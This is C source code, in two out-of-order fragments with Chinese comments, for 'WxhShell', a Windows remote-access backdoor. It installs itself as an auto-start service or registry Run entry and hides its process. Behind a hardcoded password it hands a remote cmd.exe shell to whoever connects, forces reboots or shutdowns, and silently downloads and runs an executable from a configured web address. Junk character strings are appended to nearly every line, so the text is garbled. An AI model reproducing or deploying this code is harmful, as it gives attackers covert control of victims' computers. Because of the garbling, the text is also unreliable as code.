    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :DJ7d  
    if(Boot(SHUTDOWN)) GP7) m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ndug9j\2  
    else { _L `N^I.  
    closesocket(wsh); 95gsv\2  
    ExitThread(0); c|!A?>O?i  
    } n'&`9M['%d  
    break; SceCucT  
    } yBD2  
  // 获取shell ;([tf;  
  case 's': { f2w=ln  
    CmdShell(wsh); 5sh u76  
    closesocket(wsh); h^ecn-PC  
    ExitThread(0); Uf2v$Jl+Yh  
    break; &T|&D[@  
  } 'Kso@St`o  
  // 退出 h<^:Nn  
  case 'x': { eV {FcJha  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); |q.:hWYFpM  
    CloseIt(wsh); &8_#hne_  
    break; 7)(`  
    } cf[u%{ 6Y  
  // 离开 ,O&PLr8cJ?  
  case 'q': { gt t$O  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); eEri v@v  
    closesocket(wsh); #Wc #fP  
    WSACleanup(); i\Q"a B"r  
    exit(1); D`~{[cv)\  
    break; ?lwQne8/  
        } /@nRL  
  } ~ Dp:j*H  
  } QY\wQjwuW  
yL3<X w|  
  // 提示信息 )Y,?r[4{  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C"Y]W-Mgg  
} $Z%aGc*  
  } [ls ?IFg  
P7k$^n  
  return; ]-5jgz"  
} ^3)2]>pW  
ks#Z~6+3  
// shell模块句柄 ~h^}W$pO  
int CmdShell(SOCKET sock) |Q)w3\S$  
{ n\"LN3  
STARTUPINFO si; ,fG_'3wb  
ZeroMemory(&si,sizeof(si)); `w=H'"Zv  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (jE:Q2"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PD T\Q\J^X  
PROCESS_INFORMATION ProcessInfo; Mm7n?kb6  
char cmdline[]="cmd"; d,rEEc Y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); UrcN?  
  return 0; nk3<]u  
} pOI`,i}.  
|m 5;M$M)  
// 自身启动模式 o`8+#+@f7  
int StartFromService(void) U:4Og8  
{ i`nw"8  
typedef struct Y7V&zF{  
{ Nx (pJp{S  
  DWORD ExitStatus; j% USu+&  
  DWORD PebBaseAddress; JX0_UU  
  DWORD AffinityMask; OZ14-}Lr5  
  DWORD BasePriority; >\.[}th}  
  ULONG UniqueProcessId; 2d;xAX]  
  ULONG InheritedFromUniqueProcessId; "gikX/Co=  
}   PROCESS_BASIC_INFORMATION; 6N+)LF}P b  
I+d(r"N1  
PROCNTQSIP NtQueryInformationProcess; E,"btBg  
s1\BjSzk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dlzamoS@AR  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VrE5^\k<a  
 <IDzv'  
  HANDLE             hProcess; {BCj VmY  
  PROCESS_BASIC_INFORMATION pbi; A}Dpw[Q2@8  
N b[o6AX  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eL?si!ZL^  
  if(NULL == hInst ) return 0; OHnjI> /  
^r :A^q  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 71&+dC  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ib8{+j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); dsZ ( D:)  
`DllW{l  
  if (!NtQueryInformationProcess) return 0; 9Zsb1 M!n>  
[]3}(8yxGb  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +vSE}  
  if(!hProcess) return 0; ;OJ0}\*iP8  
dTQvz9C  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; \\Tp40m+  
SfL`JNi)  
  CloseHandle(hProcess); =?Md&%j  
E(LE*J  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); h:sG23@=  
if(hProcess==NULL) return 0; c+/C7C o  
5m?$\h  
HMODULE hMod; U?j>28  
char procName[255]; j$oZIV7  
unsigned long cbNeeded; \o)4m[oF  
O~'yP @&`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); &it/@8yH  
`2+e\%f/0  
  CloseHandle(hProcess); !QS<;)N@  
%{abRBny  
if(strstr(procName,"services")) return 1; // 以服务启动 :Ia&,;Gc  
xG/qDc  
  return 0; // 注册表启动 S5a<L_  
} 7zZ|=W?&{  
oa !P]r  
// 主模块 ^(vd8&71  
int StartWxhshell(LPSTR lpCmdLine) S]=Vr%irX  
{ gSYX@'Q!  
  SOCKET wsl; fGWK&nONyk  
BOOL val=TRUE; %pQ o%<d  
  int port=0; r/L]uSN  
  struct sockaddr_in door; ++"PPbOe&D  
}*R6p?L5  
  if(wscfg.ws_autoins) Install(); C P{h+yCj  
PzDgl6C  
port=atoi(lpCmdLine); D+""o"%  
7b2<, .E  
if(port<=0) port=wscfg.ws_port; .Kwl8xRg  
dwMwd@*j  
  WSADATA data; Ps\^OJR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oF xVK  
K.m[S[cy  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   UOOme)\>  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); R,1,4XT  
  door.sin_family = AF_INET; wwn}enEz,x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qG]PUc>j  
  door.sin_port = htons(port); h cXqg  
c iX2G  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nTKfwIeg5  
closesocket(wsl); ]]3D` F}  
return 1; G)7sXEe  
} 3k^jR1  
Zh^w)}(W  
  if(listen(wsl,2) == INVALID_SOCKET) { {hz :[  
closesocket(wsl); hhhO+D1(  
return 1; {H2i+"cF  
} q|J]  
  Wxhshell(wsl); Hp!F?J7sx  
  WSACleanup(); >,3 3Jx  
a~>h'}C>  
return 0; d*L'`BBsp  
]EQ/*ct  
} 9#!tzDOtD  
Z]BR Mx  
// 以NT服务方式启动 Dy!fwYPA/{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) VIzZmd  
{ ]XU#i#;c  
DWORD   status = 0; Uw"   
  DWORD   specificError = 0xfffffff; vNGvEJ`qn  
n4johV.#  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Ji q[VeLe  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; N=9lA0y+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e$=|-J z  
  serviceStatus.dwWin32ExitCode     = 0; Sdp1h0E}7=  
  serviceStatus.dwServiceSpecificExitCode = 0; cDg27xOUi  
  serviceStatus.dwCheckPoint       = 0; ;rgsPVbVf  
  serviceStatus.dwWaitHint       = 0; $hio (   
c&&UT-Z  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `2B+8,{%  
  if (hServiceStatusHandle==0) return; O5 SX"A  
1~ Nz6  
status = GetLastError(); :%{7Q$Xv<  
  if (status!=NO_ERROR) 0P(}e[~Z  
{ > R=YF*t  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7f>n`nq?  
    serviceStatus.dwCheckPoint       = 0; CR<l"~X  
    serviceStatus.dwWaitHint       = 0; #x21e }Li  
    serviceStatus.dwWin32ExitCode     = status; Lrq&k40y  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? t-2oLE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); *?{)i~  
    return; ]7;;uhn`  
  } Dg`W{oj  
Mtu8zm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rlD@O~P4  
  serviceStatus.dwCheckPoint       = 0; 8MIHp[vm%  
  serviceStatus.dwWaitHint       = 0; ;\h'A(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); pS0T>r  
} 5gGr|d|(  
ZYG"nmNd  
// 处理NT服务事件,比如:启动、停止 2bqwnRT}  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ^#+9v  
{ t1kD5^  
switch(fdwControl) =$MV3]  
{ n}2}4^  
case SERVICE_CONTROL_STOP: ,Fb#%r%  
  serviceStatus.dwWin32ExitCode = 0; Mvux=Ws  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4_$f "6  
  serviceStatus.dwCheckPoint   = 0; ~34$D],D  
  serviceStatus.dwWaitHint     = 0; >Q YxX<W  
  { "xWC49   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =Oy,SX  
  } 2l9_$evK~  
  return; k,2% %m  
case SERVICE_CONTROL_PAUSE: _v-sb(* J  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N3,EF1%  
  break; + EM '-  
case SERVICE_CONTROL_CONTINUE: @^%# ]x,:  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #p^D([k \  
  break; kY|<1Ht  
case SERVICE_CONTROL_INTERROGATE: W*P/~U=  
  break; o;t{YfK  
}; MD%86m{Sg=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); d6u L;eR  
} Ox58L>:0m  
by- B).7  
// 标准应用程序主函数 |KuH2, n0  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x,n;GR  
{ HR4^+x  
oC[$PPqX#  
// 获取操作系统版本 AtSEKpKc  
OsIsNt=GetOsVer(); 86[T BX5'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); &",pPu q  
J 9z\ qTI  
  // 从命令行安装 1Eh (U  
  if(strpbrk(lpCmdLine,"iI")) Install(); a4c~ThbI  
UtzW5{  
  // 下载执行文件 hW(Mf  
if(wscfg.ws_downexe) { $cjidBi`):  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !iMsTH<  
  WinExec(wscfg.ws_filenam,SW_HIDE); NI3_wV  
} .QW89e,O3  
8!1vsEqv  
if(!OsIsNt) { -FwOX~s/'  
// 如果时win9x,隐藏进程并且设置为注册表启动 [^#6.xH  
HideProc(); O3Yv ->#  
StartWxhshell(lpCmdLine); ENygD  
} d&F8nBIM5  
else op;OPf,  
  if(StartFromService()) oGa8}Vtc  
  // 以服务方式启动 sk 9*3d5I  
  StartServiceCtrlDispatcher(DispatchTable); |*Hw6m  
else i&RPY bT{  
  // 普通方式启动 +Ibcc8Qud  
  StartWxhshell(lpCmdLine); ,'[0tl}8K  
\It8+^d@  
return 0; S-*4HV_l  
} }PD? x4  
_dj_+<Y?  
PE0A`  
*zJ}=%)f  
=========================================== $o0o5 ^Z-  
,..&j+m  
|X0h-kX4  
-m3 O\X  
d[J+):aW  
b|P[\9  
" eNR>W>;'  
P-.>vi^+  
#include <stdio.h> <`}Oi 5nW  
#include <string.h> nD6NLV%2x  
#include <windows.h> 2Gd.B/L6  
#include <winsock2.h> :2vk vLM  
#include <winsvc.h> B|zJrz0q3  
#include <urlmon.h> E9i M-Lw  
1^jGSB.%A  
#pragma comment (lib, "Ws2_32.lib") m r&nB  
#pragma comment (lib, "urlmon.lib") ",O}{z  
6he (v  
#define MAX_USER   100 // 最大客户端连接数 <jjn'*44f  
#define BUF_SOCK   200 // sock buffer B* hW  
#define KEY_BUFF   255 // 输入 buffer >}I BPC  
PV(TDb:0  
#define REBOOT     0   // 重启 ^q@6((O  
#define SHUTDOWN   1   // 关机 n[f<]4<  
+G.F'  
#define DEF_PORT   5000 // 监听端口 8am/5o  
=QG0:z)K<v  
#define REG_LEN     16   // 注册表键长度 cD5^mxd%  
#define SVC_LEN     80   // NT服务名长度 w(6(Fze  
aP`[O]8j  
// 从dll定义API 3W#f Fy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $LXz Q>w9  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [BLBxSL  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Vmb `%k20'  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); WF&?OHf2  
QE\t}>  
// wxhshell配置信息 :}n\ r/i  
struct WSCFG { %fzZpd]v=,  
  int ws_port;         // 监听端口 qiyX{J7Z  
  char ws_passstr[REG_LEN]; // 口令 F,)\\$=,  
  int ws_autoins;       // 安装标记, 1=yes 0=no Osj/={7g  
  char ws_regname[REG_LEN]; // 注册表键名 i| /EA7  
  char ws_svcname[REG_LEN]; // 服务名 o)U4RY*  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M#'j7EMu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 h+"UK=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 caC-JcDXy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no -0G/a&ss  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'G|M_ e  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 =,HxtPJ  
EsK.g/d  
}; 6|HxBC#4  
?ZS/`P0}[  
// default Wxhshell configuration  tOEY|  
struct WSCFG wscfg={DEF_PORT, hALg5.E{T  
    "xuhuanlingzhe", f?[0I\V[$  
    1, 3;t{V$  
    "Wxhshell", =IC cN|  
    "Wxhshell", s ~ Xa=_+D  
            "WxhShell Service", O% }EpIP_  
    "Wrsky Windows CmdShell Service", Kb icP<  
    "Please Input Your Password: ", xoQ;fVNp  
  1, O_bgrXg6x  
  "http://www.wrsky.com/wxhshell.exe", Dmq_jt  
  "Wxhshell.exe" :rcohzfa  
    }; EH2a  
$(A LxC  
// 消息定义模块 /jB 0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1v2pPUH\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X) O9PQ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r";  !L|PDGD  
char *msg_ws_ext="\n\rExit."; 873'=m&  
char *msg_ws_end="\n\rQuit."; K H&o`U(}  
char *msg_ws_boot="\n\rReboot..."; V#-\ 4`c  
char *msg_ws_poff="\n\rShutdown..."; PrwMR_-  
char *msg_ws_down="\n\rSave to "; 7!kbe2/]'  
48p< ~#<W\  
char *msg_ws_err="\n\rErr!"; G1z0q3< B  
char *msg_ws_ok="\n\rOK!"; [e.@Yx_}  
5<=ktA48[  
char ExeFile[MAX_PATH]; L32[IL|  
int nUser = 0; M s5L7S  
HANDLE handles[MAX_USER]; </@3}rfUPg  
int OsIsNt; h^aUVuL/  
*v6 j7<H  
SERVICE_STATUS       serviceStatus; p*l]I *x'<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; b xFDB^  
KvtX>3#qM  
// 函数声明 CgxGvM4  
int Install(void); ^\Gukkmh}  
int Uninstall(void); Hs>|-iDs(  
int DownloadFile(char *sURL, SOCKET wsh); ?loP18S b  
int Boot(int flag); v[t *CpGd  
void HideProc(void); @b2JR^  
int GetOsVer(void); gPYF2m  
int Wxhshell(SOCKET wsl); ?VaAVxd29  
void TalkWithClient(void *cs); S(MVL!Lm  
int CmdShell(SOCKET sock); ![}q9aeT  
int StartFromService(void); i<>zN^zn  
int StartWxhshell(LPSTR lpCmdLine); rh+2 7"  
tuWJj^  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~SD8#;v2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B33H,e)  
{S 2? }  
// 数据结构和表定义 }2CVA.Qm!  
SERVICE_TABLE_ENTRY DispatchTable[] = :^92B?q  
{ kntM  
{wscfg.ws_svcname, NTServiceMain}, 2F- ]0kGR|  
{NULL, NULL} v5Qp[O_  
}; gI5"\"T{  
Q xg)Wb#  
// 自我安装 nPh| rW=  
int Install(void) mYRW/8+g  
{ >56I`[)  
  char svExeFile[MAX_PATH]; XA4miQn&  
  HKEY key; xfsf  
  strcpy(svExeFile,ExeFile); ;(1Xb   
ehe;<A  
// 如果是win9x系统,修改注册表设为自启动 d> OLnG> F  
if(!OsIsNt) { R-\a3q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { W!.vP~>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u:[vqlU  
  RegCloseKey(key); 3|qT.QR`Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {!G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G:k]tZ*`  
  RegCloseKey(key); ?9I=XTR  
  return 0; h:qt?$]J  
    } m?4L>'  
  } XNd%3rm,  
} $wq[W,'#L  
else { o{n)w6P{R,  
g(`m#&P>G  
// 如果是NT以上系统,安装为系统服务 P g{/tM Y  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "jFRGgd79  
if (schSCManager!=0) TcjTF|q>  
{ E]<Ce;Vj  
  SC_HANDLE schService = CreateService GiH<6<=  
  ( QhqXd  
  schSCManager, Nu]& ?  
  wscfg.ws_svcname, ML9nfB^z!  
  wscfg.ws_svcdisp, F4T}HY>nZ  
  SERVICE_ALL_ACCESS, d \[cFe1d  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , S, g/2k*  
  SERVICE_AUTO_START, CR KuN  
  SERVICE_ERROR_NORMAL, }/cMG/%  
  svExeFile, J#OiY  
  NULL, q[rBu9  
  NULL, yi-S^  
  NULL, &N^^[ uG  
  NULL, c/bIt  
  NULL qwz_.=5E6  
  ); Ln2dD>{2  
  if (schService!=0) )C0dN>Gb  
  { 6n}5>GSF  
  CloseServiceHandle(schService); Pn;Tg7oz  
  CloseServiceHandle(schSCManager); U:[#n5g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vxmz3ht,Q  
  strcat(svExeFile,wscfg.ws_svcname); 9N?BWv }  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { AnUOv 2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); kS@6'5U  
  RegCloseKey(key); 5*#!w1X  
  return 0; ZV?~~_ 9  
    } O_n) 2t(c?  
  } j!oD9&W4~  
  CloseServiceHandle(schSCManager); G{8>  
} ^9g+\W  
} S@N:Cj  
n qR8uL>  
return 1; ^{vf|zZ _  
} p%_m!   
$Bd13%>)  
// 自我卸载 N0:gY]o%  
int Uninstall(void) _ zh>q4M  
{ ATdK)gG  
  HKEY key; z g'1T2t  
T==(Pw7R7  
if(!OsIsNt) { cc"L> XoK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KG5h$eM'  
  RegDeleteValue(key,wscfg.ws_regname); (zm5 4 Vm  
  RegCloseKey(key); f8m%T%]f  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7i,Z c]  
  RegDeleteValue(key,wscfg.ws_regname); 5tIM@,.I/  
  RegCloseKey(key); Bx>)i8P7i0  
  return 0; 6@2 S*\&  
  } Hvm+Tr2@  
} bg8<}~zg  
} G O=&  
else { -]uN16\ F  
c]y"5;V8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); u)DhkF|  
if (schSCManager!=0) -\.'WZo`  
{ _-vf<QO]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); fCA/   
  if (schService!=0) ~}c`r4  
  { }P5zf$  
  if(DeleteService(schService)!=0) { '}`|QJ  
  CloseServiceHandle(schService); Pmj]"7Vd[  
  CloseServiceHandle(schSCManager); $9}z^sGIM  
  return 0; 6Q&*V7EO  
  } 1-Fz#v7p  
  CloseServiceHandle(schService); T@n-^B!Xq  
  } <By6%<JTn  
  CloseServiceHandle(schSCManager); z)Y<@2V*C  
} 7VF^&6  
} q+MV@8w  
hLVS}HE2  
return 1; Wp0e?bK_  
} X[frL)k]  
MI|51&m  
// 从指定url下载文件 c !$ 8>  
int DownloadFile(char *sURL, SOCKET wsh) Y4%Bx8  
{ {[~ !6&2(k  
  HRESULT hr; idm!6]  
char seps[]= "/"; C] <K s  
char *token; H!F Cerg  
char *file; qsB,yckml  
char myURL[MAX_PATH]; %!r>]M <  
char myFILE[MAX_PATH]; &S}i)Nu6J  
k,L,  
strcpy(myURL,sURL); wW3fsXu  
  token=strtok(myURL,seps); }lzyl*.  
  while(token!=NULL) f`5e0;zm  
  { IT,TSs/Y  
    file=token; Wgl7)Xk.)  
  token=strtok(NULL,seps); `laaT5G\y  
  } P@Wi^svj  
5!ll #/ {`  
GetCurrentDirectory(MAX_PATH,myFILE); yZ[H&>  
strcat(myFILE, "\\"); KzeTf?G  
strcat(myFILE, file); v;S7i>\  
  send(wsh,myFILE,strlen(myFILE),0); d}K"dr:W5  
send(wsh,"...",3,0); f>)k<-<yj  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Azx4+`!-  
  if(hr==S_OK) Le9^,B@Pb  
return 0; 5oQy $Y  
else P8K{K:T  
return 1; #>-_z  
UV%A l)3  
} +/60$60[z  
}/ 6Q3B  
// 系统电源模块 tBgB>-h(  
int Boot(int flag) *0)vsBi  
{ _B` '1tNx  
  HANDLE hToken; j]EeL=H<P  
  TOKEN_PRIVILEGES tkp; G#ov2  
|3f?1:"Z  
  if(OsIsNt) { .jRp.U  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6P=6E   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ^)&d7cSc  
    tkp.PrivilegeCount = 1; `7qZ6Z3z@  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; n?*Fr sZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); xU#f>@v!  
if(flag==REBOOT) { p{w:^l(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) N6w!V]b  
  return 0; Olltu"u  
} ~-K<gT/  
else { $x|4cW2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V;%DS)-  
  return 0; $C`YVv%?0  
} Lk:Sju  
  } k!= jO#)Rd  
  else { *8#]3M]  
if(flag==REBOOT) { #SIIhpjA(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) v]e6CZwo  
  return 0; >cRE$d?  
} aW@J]slg  
else { ZD t|g^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E;)7#3gY1  
  return 0; Z Vj  
} 9w08)2$ Na  
} 7@l.ZECJ1  
e!.r- v9  
return 1; Df_*W"(v  
} ED=P  6u  
>4x~US[VB  
// win9x进程隐藏模块 j/*4Wj[  
void HideProc(void) J6W"t  
{ 3tAX4DnYrq  
6gN>P%n  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); `8<h aU  
  if ( hKernel != NULL ) YDo Vm?  
  { -eSZpzp  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z4iZE*ZS  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >+ E  
    FreeLibrary(hKernel); X4dXO5\  
  } Gp5[H}8K  
 %3A~&  
return; 04wO9L;  
} \V/;i.ng  
cs6I K6wo  
// 获取操作系统版本 p5PTuJ>q  
int GetOsVer(void) [G>U>[u|  
{ $TR#-q  
  OSVERSIONINFO winfo; ed6eC8@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); NP< {WL#  
  GetVersionEx(&winfo); |(6H)S]$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) /O/pAu>  
  return 1; dxAP7v  
  else A:5B6Z  
  return 0; s%p,cz; ,  
} 9]^ CDL  
Rd^X.  
// 客户端句柄模块 oA'LQ  
int Wxhshell(SOCKET wsl) mw,\try  
{ 0CFON2I  
  SOCKET wsh; "FfIq;  
  struct sockaddr_in client; /UAcN1K!B  
  DWORD myID; ;&8  
;;; {<GEQ  
  while(nUser<MAX_USER) /ig'p53jL  
{ >t Ll|O+  
  int nSize=sizeof(client); Z;4pI@ u  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %\ef Mhn  
  if(wsh==INVALID_SOCKET) return 1; uxsfQ%3`#  
C. rLog#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :SD^?.W\iT  
if(handles[nUser]==0) M);@XcS  
  closesocket(wsh);  XBF]|}%  
else ^N`bA8  
  nUser++; 2^.qKY@g@  
  } U9ZWSDs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5o P 3 1  
;DXcEzV  
  return 0; k ICZc{} `  
} lmjoSINy  
X 'W8 mqk  
// 关闭 socket \gE6KE<?p  
void CloseIt(SOCKET wsh) 6;8Jy  
{ p[Yja y+  
closesocket(wsh); qh<h|C]V  
nUser--; 0-!K@#$>=  
ExitThread(0); ?!$uMKyt  
} a&*fk?o  
+>,4d  
// 客户端请求句柄 gfW8s+  
void TalkWithClient(void *cs) },@1i<Bb  
{ Spt]<~  
lm 1Mz  
  SOCKET wsh=(SOCKET)cs; 5`?'}_[Yj  
  char pwd[SVC_LEN]; Rl2*oOVz  
  char cmd[KEY_BUFF]; q\fZ Q  
char chr[1]; hQT  p&  
int i,j; OB{d^e}  
E"|LA[o  
  while (nUser < MAX_USER) { OE4hG xG  
Eoo[)V#x{  
if(wscfg.ws_passstr) { |9X$@R  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); `l0&,]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); x\r[Zp|  
  //ZeroMemory(pwd,KEY_BUFF); $&!i3#FF  
      i=0; uR:@7n  
  while(i<SVC_LEN) { Qq.ht  
6zGM[2  
  // 设置超时 !&k}YF  
  fd_set FdRead; H(~:Ajj+zQ  
  struct timeval TimeOut; tf5h/:  
  FD_ZERO(&FdRead); scsN2#D7U/  
  FD_SET(wsh,&FdRead); os3jpFeG'  
  TimeOut.tv_sec=8; o JLpFL  
  TimeOut.tv_usec=0; `<z"BGQ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TI9]v(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1JFCYJy  
ZB5:FtW4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l|z0aF;z  
  pwd=chr[0]; 7t@r}rC,K  
  if(chr[0]==0xd || chr[0]==0xa) { &`RD5uml  
  pwd=0; z~S(OM@olJ  
  break; 007(k"=oV  
  } ^4\h Z  
  i++; B3j   
    } C`Oc%~UkC  
_Prh&Q1zs  
  // 如果是非法用户,关闭 socket 8{t^< j$n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); R@+%~"Z  
} E=-ed9({:  
/.{q2]  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); V?.')?'V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 907N;r  
.}wVM`81z  
while(1) { 5-3.7CO$  
I:ag}L8`  
  ZeroMemory(cmd,KEY_BUFF); cL]vJ`?Ih  
8R) 0|v&;  
      // 自动支持客户端 telnet标准   LR:v$3 G(  
  j=0; k"kGQk4  
  while(j<KEY_BUFF) { ZCT\4Llv#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x'4q`xDa  
  cmd[j]=chr[0]; 2~*J<iO&l  
  if(chr[0]==0xa || chr[0]==0xd) { &^v5 x"  
  cmd[j]=0; rF3QmR?l  
  break; Hd/|f;  
  } zA ; 7Nv$3  
  j++; p-6Y5$Y  
    } YKUb'D:t]  
p>g5WebBN  
  // 下载文件 _6tir'z  
  if(strstr(cmd,"http://")) { )2tDX=D  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T uk:: .jD  
  if(DownloadFile(cmd,wsh)) ,R-T( <r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R">-h;#  
  else _+OnH!G0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z(8:7 G  
  } zF)&o}  
  else { o4^|n1vN  
i-<1M|f  
    switch(cmd[0]) { XY_zF F  
